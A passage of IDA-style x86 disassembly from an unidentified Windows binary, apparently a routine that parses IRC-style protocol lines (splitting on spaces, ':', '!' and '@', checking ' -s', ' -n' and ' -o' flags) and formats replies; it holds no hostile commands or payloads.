		cmp	al, bl
		jz	loc_410640
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411397
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470C8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410607
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470C8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410602:				; CODE XREF: sub_40FFD0+4FFj
		call	sub_401226


loc_410607:				; CODE XREF: sub_40FFD0+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411397
		mov	ecx, offset byte_4473DD
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447394
		call	sub_4017E4
		mov	ecx, dword_4470B4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410640:				; CODE XREF: sub_40FFD0+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470E8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4106C2
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470EC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4106C7


loc_4106C2:				; CODE XREF: sub_40FFD0+69Bj
		mov	[esp+20h+var_D], 1


loc_4106C7:				; CODE XREF: sub_40FFD0+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410734
		cmp	[ebp+16h], bl
		jnz	short loc_410710
		mov	ecx, offset byte_4473DD
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447394
		call	sub_4017E4
		mov	edx, dword_4470B4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_410710:				; CODE XREF: sub_40FFD0+713j
		mov	ecx, offset byte_4E6E35
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470BC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410734:				; CODE XREF: sub_40FFD0+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_4470C4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_4107E5
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_4107CD
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_4107CD:				; CODE XREF: sub_40FFD0+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_4107E5:				; CODE XREF: sub_40FFD0+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_4470C0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410820
		mov	al, byte_4477F4
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410824


loc_410820:				; CODE XREF: sub_40FFD0+840j
		mov	[esp+20h+var_D], bl


loc_410824:				; CODE XREF: sub_40FFD0+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B31
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410882
		mov	ecx, eax
		call	sub_402054


loc_410882:				; CODE XREF: sub_40FFD0+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_4108AE
		mov	ecx, eax
		call	sub_4010BE


loc_4108AE:				; CODE XREF: sub_40FFD0+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B1C


loc_41090F:				; CODE XREF: sub_40FFD0+B46j
		push	96h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410937
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410939
; ---------------------------------------------------------------------------


loc_410937:				; CODE XREF: sub_40FFD0+95Aj
		xor	esi, esi


loc_410939:				; CODE XREF: sub_40FFD0+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_41096B
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_41096F
; ---------------------------------------------------------------------------


loc_41096B:				; CODE XREF: sub_40FFD0+98Cj
		mov	[esp+20h+var_C], ebx


loc_41096F:				; CODE XREF: sub_40FFD0+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410992
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410998
; ---------------------------------------------------------------------------


loc_410992:				; CODE XREF: sub_40FFD0+9B7j
		mov	[esi+93h], bl


loc_410998:				; CODE XREF: sub_40FFD0+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_4109B3
		mov	byte ptr [esi+94h], 1
		jmp	short loc_4109B9
; ---------------------------------------------------------------------------


loc_4109B3:				; CODE XREF: sub_40FFD0+9D8j
		mov	[esi+94h], bl


loc_4109B9:				; CODE XREF: sub_40FFD0+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_4109D4
		mov	byte ptr [esi+95h], 1
		jmp	short loc_4109DA
; ---------------------------------------------------------------------------


loc_4109D4:				; CODE XREF: sub_40FFD0+9F9j
		mov	[esi+95h], bl


loc_4109DA:				; CODE XREF: sub_40FFD0+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F20
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F20
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410AC9
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410AC9:				; CODE XREF: sub_40FFD0+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41090F


loc_410B1C:				; CODE XREF: sub_40FFD0+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410B31:				; CODE XREF: sub_40FFD0+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470B8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410E4B
		push	96h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410BAB
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410BAD
; ---------------------------------------------------------------------------


loc_410BAB:				; CODE XREF: sub_40FFD0+BCEj
		xor	esi, esi


loc_410BAD:				; CODE XREF: sub_40FFD0+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410BDC
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410BDE
; ---------------------------------------------------------------------------


loc_410BDC:				; CODE XREF: sub_40FFD0+BFFj
		xor	edi, edi


loc_410BDE:				; CODE XREF: sub_40FFD0+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C00
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C06
; ---------------------------------------------------------------------------


loc_410C00:				; CODE XREF: sub_40FFD0+C25j
		mov	[esi+95h], bl


loc_410C06:				; CODE XREF: sub_40FFD0+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C21
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C27
; ---------------------------------------------------------------------------


loc_410C21:				; CODE XREF: sub_40FFD0+C46j
		mov	[esi+93h], bl


loc_410C27:				; CODE XREF: sub_40FFD0+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C42
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410C48
; ---------------------------------------------------------------------------


loc_410C42:				; CODE XREF: sub_40FFD0+C67j
		mov	[esi+94h], bl


loc_410C48:				; CODE XREF: sub_40FFD0+C70j
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C40 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C40 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C3C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E1D
		add	eax, 2
		push	eax
		jmp	short loc_410E22
; ---------------------------------------------------------------------------


loc_410E1D:				; CODE XREF: sub_40FFD0+E45j
		push	offset byte_446F20


loc_410E22:				; CODE XREF: sub_40FFD0+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410E3F
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410E3F:				; CODE XREF: sub_40FFD0+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410E4B:				; CODE XREF: sub_40FFD0+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470DC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411020
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410F12
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C4E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410F12:				; CODE XREF: sub_40FFD0+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E35
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411397
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C40 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4473DD
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447394
		call	sub_4017E4
		mov	edx, dword_4470B4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_411020:				; CODE XREF: sub_40FFD0+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470D0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111D8
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C40 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C3C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_4111C3
		push	offset asc_443C3C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F20
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111AF
		push	offset byte_446F20
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111AF
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41118B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41118B:				; CODE XREF: sub_40FFD0+11A9j
		push	offset byte_4E6E35
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_4111AF
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E35
		push	edx
		call	sub_401FBE


loc_4111AF:				; CODE XREF: sub_40FFD0+1173j
					; sub_40FFD0+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_4111C3:				; CODE XREF: sub_40FFD0+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_4111D8:				; CODE XREF: sub_40FFD0+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470E0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41125F
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F0
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_411264


loc_41125F:				; CODE XREF: sub_40FFD0+1238j
		mov	[esp+20h+var_D], 1


loc_411264:				; CODE XREF: sub_40FFD0+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411397
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C40 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411397
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C40 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C40 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C4E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411397
; ---------------------------------------------------------------------------


loc_411390:				; CODE XREF: sub_40FFD0+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411397:				; CODE XREF: sub_40FFD0+1D3j
					; sub_40FFD0+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410012


loc_4113A0:				; CODE XREF: sub_40FFD0+3Cj
					; sub_40FFD0+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FFD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4118D0	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4118D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
